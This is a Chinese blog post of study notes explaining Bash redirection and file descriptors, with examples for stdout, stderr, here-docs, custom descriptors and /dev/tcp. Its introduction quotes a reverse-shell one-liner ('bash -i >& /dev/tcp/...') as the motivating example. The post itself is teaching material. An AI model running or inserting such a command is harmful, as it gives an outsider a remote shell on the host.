shell 学习笔记 II:重定向

重定向其实是对文件描述符的操作,文件描述符的洋文是“File Descriptor”,“fd”为其缩写。当 Bash 启动时,同时打开了 3 个标准文件描述符,分别为 stdin(fd 0)、 stdout(fd 1)、 stderr(fd 2)。你也可以打开更多的文件描述符(如 fd 3、 fd 4 …),也可以关闭或者复制它们。

文件描述符总是指向文件。Bash 启动的 3 个 fd (stdin 、 stdout 、 stderr) ,通常指向你的终端(如 /dev/ty0),如下图:
2df18c4c6458a22ad8d43827e41047a4.png
stdin 从你的终端读取输入, stdout 和 stderr 两个输出都发送到终端。

重定向在一些场合中经常用到,例如反弹一个 shell 的常用方式是bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

想要理解其中意思,就要清楚重定向发生时文件描述符的变化,下面这些例子会帮助你进一步理解。

0x00. 将命令的标准输出重定向到文件

1
$ command >file

>是输出重定向操作符。Bash 首先会打开这个文件,如果打开成功,它会将 command 的 stdout 输出到这个文件里,否则不执行command

For example,将 ls 命令的输出重定向到文件 file_list :

1
$ ls > file_list

command >filecommand 1>file 效果一样。1代表 fd 1 ,即 stdout ,标准输出的文件描述符。所以就会把被写入到 fd 1 的输出写进文件中,如下图:
1101abe61996441bbf01b92ed27a9196.png
不仅仅是 1,你可以使用command n>file 将 fd n 重定向到文件。

0x01. 将命令的标准错误重定向到文件

1
$ command 2> file

这个命令重定向了 stderr 到文件,2代表 fd 2,即 stderr ,如下图:
a25db9737ed97e8c2908c2df9b524097.png
Bash 首先会打开这个文件,得到此文件的 fd ,并用此文件的 fd 替换 stderr 的 fd 。所以现在任何写入 stderr 的东西都会被写入文件中。

0x02. 将标准输出和标准错误重定向到文件

1
$ command &>file

这个 one-liner 使用 &> 运算符将输出流 -stdout 和 stderr 重定向到文件,此时文件描述符表如下图:
4bafe6df5b34e9807fc48f247f8d2d77.png
还有一种重定向输出流的复杂方式,

1
$ command >file 2>&1

首先 >file 之后,stdout 先被重定向到文件。
1101abe61996441bbf01b92ed27a9196.png
然后 2>&1 之后,stderr 被重定向到 stdout,因此,这两个流最终都指向文件。
4bafe6df5b34e9807fc48f247f8d2d77.png

注意这里 >file2>&1的顺序,如果反过来会怎样?

还要注意,command &>filecommand >&file 完全相同,常使用前者。

0x03. 丢弃命令的标准输出

1
$ command > /dev/null

在 linux 中,/dev/null是一个特殊的文件,像是一个黑洞,丢弃所有写给它的数据。这里将 stdout 重定向到 /dev/null,文件描述符表如下图:
29de7baa6fb95631a384f402173893e5.png
类似地,下面的 one-liner 可以抛弃输出流的输出,

1
$ command >/dev/null 2>&1

或者,

1
$ command &>/dev/null

这个的文件描述符表将是这样的:
21127f25a7eb23ed4190636b906508d5.png

0x04. 将文件的内容重定向到命令的 stdin

1
$ command <file

在这里,bash 试图在运行任何命令之前打开该文件进行读取。 如果打开文件失败了,那么 bash 会因为错误而退出,并且不运行命令。 如果打开文件成功,bash 将使用打开文件的文件描述符作为命令的 stdin 文件描述符。
这样做之后,文件描述符表看起来是这样的:
7158c31bce6b277f2284280b56cb1c46.png
假设你要读取文件的第一行,可以这么做:

1
$ read -r line < file

read是 linux 中内置的命令。

0x05. 将一堆文本重定向到命令的 stdin

1
2
3
4
5
6
7
$ command <<EOL
your
multi-line
text
goes
here
EOL

这里使用操作符 <<MARKER,表示从后面几行到标识符MARKER 都是要重定向的文本。
这里有一个常见的例子。 假设您已经将一大堆 url 复制到剪贴板中,并且要删除其中的一部分。 要做到这一点,一个简短的 one-liner 就是:

1
2
3
4
5
$ sed 's|http://||' <<EOL
http://url1.com
http://url2.com
http://url3.com
EOL

在这里,一个 url 列表会被重定向到从 sed 命令来去除文本中的 http://
输出如下:

1
2
3
url1.com
url2.com
url3.com

0x06. 将单行文本重定向到命令的 stdin

1
$ command <<< "foo bar baz"

这很适合将剪切板的内容作为命令的输入。

0x07. 将所有命令的 stderr 重定向到一个文件

1
2
3
4
$ exec 2>file
$ command1
$ command2
$ ...

exec为 linux 内置命令,使用 exec 指定重定向之后,将一起作用到 shell 关闭或者你手动删除。

0x08. 读取使用自定义的文件描述符的文件

1
$ exec 3<file

3<file指定要读的文件,并将文件描述符 3 分配给它。现在的文件描述符表是这个样子的:
5d28aa4a1252ca94bacc1a4cad9988d0.png
现在就可以从 fd 3 中读取,

1
2
$ read -u 3 line
$ echo $line

-u指定了 fd 为 3,读取一行赋给变量 line 。

或者使用常规的方式读取,

1
$ read -r line <&3

此处的 <&3 将 fd 3 的文件内容重定向到了 stdin ,read-r 参数指到换行结束。

使用完 fd3 之后,你可以这样关闭它:

1
$ exec 3>&-

3 重定向到-,就是删除 fd3。

0x09. 写入到使用自定义的文件描述符的文件

1
$ exec 4>file

对应的文件描述符表是这样子的:
a552f8992fdbea66027a4a18d3765bce.png
正如您所看到的,文件描述符不需要按顺序使用,你可以从 0 到 255 打开任何你喜欢的文件描述符号。

现在可以对 fd4 进行写入:

1
$ echo "jishuliu" >&4

关闭 fd4:

1
$ exec 4>&-

0x10. 设置一个可读可写的文件描述符

1
$ exec 5<>file

例如,你可以这样做:

1
2
3
4
$ echo "foo bar" > file   # 将 "foo bar" 写入到文件 "file".
$ exec 5<> file # 打开文件 "file" 为 fd 5,可读可写.
$ read -n 3 var <&5 # 从 fd 5 读取前三个字符赋给变量 var.
$ echo $var

现在我们可以写一些东西:

1
2
3
$ echo -n + >&5           # 在第 4 个位置写入 "+".
$ exec 5>&- # 关闭 fd 5.
$ cat file # 这将输出 foo + ba

想想为什么是第 4 个位置呢?要从前面的读操作考虑。

0x11. 多个命令的 stdout 发送到一个文件

1
$ (command1; command2) >file

这个 one-liner 使用 (commands) 构造一个子 shell 来运行命令。子 shell 是由当前 shell 启动的子进程。
这里发生的是命令 command1 和 command2 在子 shell 中执行,并且 bash 重定向输出到文件中。

0x12. 通过 Bash 访问网站

1
2
3
$ exec 3<>/dev/tcp/scriptboy.cn/80
$ echo -e "GET / HTTP/1.1\n\n" >&3
$ cat <&3

Bash 将 /dev/tcp/host/port 视为一个特殊的文件,读取或写入相当于建立 socket 调用。
首先,创建可读可写的 fd 3 ,指向 /dev/tcp/scriptboy.cn/80
接下来,向 fd 3 写入 GET / HTTP/1.1\n\n,即发送 GET 请求。
最后,使用 cat 命令读取响应。

0x13. 其它一些复杂的用法

上面提到的都是一些经常看到的,还有一些比较麻烦的就留给有兴趣的同学自行学习了。
参考文章:Bash One-Liners Explained, Part III: All about redirections





root@kali ~# cat 重要声明
本博客所有原创文章,作者皆保留权利。转载必须包含本声明,保持文本完整,并以超链接形式注明出处【Techliu】。查看和编写文章评论都需翻墙,为了更方便地获取文章信息,可订阅RSS,如果您还没有一款喜爱的阅读器,不妨试试Inoreader.
root@kali ~# Thankyou!